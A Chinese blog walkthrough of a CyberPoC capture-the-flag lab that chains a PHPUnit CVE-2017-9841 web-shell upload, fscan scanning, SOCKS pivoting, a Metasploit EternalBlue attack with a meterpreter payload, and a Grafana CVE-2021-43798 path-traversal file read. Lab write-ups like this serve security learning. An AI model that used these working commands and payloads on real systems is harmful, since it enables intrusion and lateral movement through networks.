freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网冒险之旅
2023-10-16 09:55:24

这是来自 CyberPoC 的一个环境。

  • 地址:https://cyberpoc.typesafe.cn/challenges/96fc74ee-51df-11ee-acf2-ac1f6be6be6e。

  • 特点:独立环境,纯内网、提供了Linux攻击机,ssh操作。

0x00 入口

扫描得知这是 CVE-2017-9841,利用 curl 写入一句话。

curl --location --request POST 'https://51ff3a2fa377.vuln.typesafe.cn/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
--data "<?=file_put_contents(\"../../../../../../cyberpoc.php\", '<?=eval(\$_REQUEST[1]);?>');"

使用蚁剑连接 https://51ff3a2fa377.vuln.typesafe.cn/cyberpoc.php

0x01 信息收集

因为这个环境缺少太多命令了,常规的 ifconfigip a都无法使用,这里我们使用 hostname -I来查看自身IP地址。


ssh连接攻击机查看IP地址可以看到是 172.16.2.x/24

所以我们可以确定 172.16.0.x 是属于办公网,下一步尝试扫描办公网。

利用蚁剑上传一个 fscan 到目标环境,执行命令进行扫描,-np 是因为这个机器的权限太低,没办法发ICMP包。


看到了445端口,疑似windows,我们上传 4dnat并开启一个 socks 代理。

chmod +x 4dnat
./4dnat -proxy socks5 1234

0x02 横向移动

回到攻击机使用 msf 进行攻击。

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
#配置socks5代理
setg Proxies socks5:172.16.2.2:1234
set ReverseAllowProxy true
#配置攻击机ip
set lhost 172.16.2.3
#配置被攻击机ip
set rhost 172.16.0.3
set rport 445
set payload payload/windows/x64/meterpreter/bind_tcp_uuid
exploit

上传 fscan64.exe 和 4dnat.exe到攻击机上,利用 upload 指令把exe传输到windows ,控制windows扫描内网并开启端口转发。

meterpreter > upload fscan64.exe c:\\Windows\\system32
[*] Uploading  : /root/fscan64.exe -> c:\Windows\system32\fscan64.exe
[*] Completed  : /root/fscan64.exe -> c:\Windows\system32\fscan64.exe
meterpreter > upload 4dnat.exe c:\\Windows\\system32
[*] Uploading  : /root/4dnat.exe -> c:\Windows\system32\4dnat.exe
[*] Completed  : /root/4dnat.exe -> c:\Windows\system32\4dnat.exe
meterpreter > shell
Process 960 created.
Channel 5 created.
Microsoft Windows [@汾 6.1.7601]
@@Ȩ@@@@ (c) 2009 Microsoft Corporation@@@@@@@@@@Ȩ@@@@

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter @@@@@@@@ 3:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::b51b:7d1a:e704:10a%19
   IPv4 Address. . . . . . . . . . . : 172.16.0.3
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.0.1

Ethernet adapter @@@@@@@@ 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::d12d:26c9:ad93:b444%16
   IPv4 Address. . . . . . . . . . . : 172.16.1.2
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.1.1

Tunnel adapter isatap.{F090DC09-C13D-4D27-8576-A7C778408CB5}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

Tunnel adapter isatap.{34058A89-244C-47C3-960C-8FE0546D176C}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

C:\Windows\system32>fscan64.exe -h 172.16.1.0/24 -nobr
fscan64.exe -h 172.16.1.0/24 -nobr

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.16.1.2      is alive
(icmp) Target 172.16.1.3      is alive
[*] Icmp alive hosts len is: 2
172.16.1.3:3000 open
172.16.1.2:445 open
172.16.1.2:139 open
172.16.1.2:135 open
[*] alive ports len is: 4
start vulscan
[*] NetInfo:
[*]172.16.1.2
   [->]admin-PC
   [->]172.16.1.2
   [->]172.16.0.3
[*] WebTitle: http://172.16.1.3:3000    code:302 len:29     title:None 跳转url: http://172.16.1.3:3000/login
[*] NetBios: 172.16.1.2      WORKGROUP\admin-PC                  Windows 7 Ultimate 7601 Service Pack 1 
[*] WebTitle: http://172.16.1.3:3000/login code:200 len:26870  title:Grafana
已完成 4/4
[*] 扫描结束,耗时: 8.1188s

可以看出来靶标是一个 Grafana,直接用 CVE-2021-43798干他。

使用 4dnat 进行端口转发。

C:\Windows\system32>4dnat.exe -f 3000 172.16.1.3:3000
4dnat.exe -f 3000 172.16.1.3:3000

   _____     .___             __   
  /  |  |  __| _/____ _____ _/  |_ 
 /   |  |_/ __ |/    \\__  \\   __\
/    ^   / /_/ |   |  \/ __ \|  |  
\____   |\____ |___|  (____  /__|  
     |__|     \/    \/     \/

[4dnat] 2023/10/13 11:06:10 [*] listen on: [tcp [::]:3000] forward to: [172.16.1.3:3000]
[4dnat] 2023/10/13 11:06:10 [*] waiting for client to connect [tcp [::]:3000]

这样访问 windows 的3000端口就和访问靶标的3000端口一样了。

0x04 获取flag

回到蚁剑测试一下。

curl --path-as-is http://172.16.0.3:3000/public/plugins/alertmanager/../../../../../../../../tmp/flag

可以看到正确获取到了 flag。

0x05 其他

  • 4dnat https://github.com/dushixiang/4dnat
  • fscan https://github.com/shadow1ng/fscan
# web安全 # CTF # 网络安全技术
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者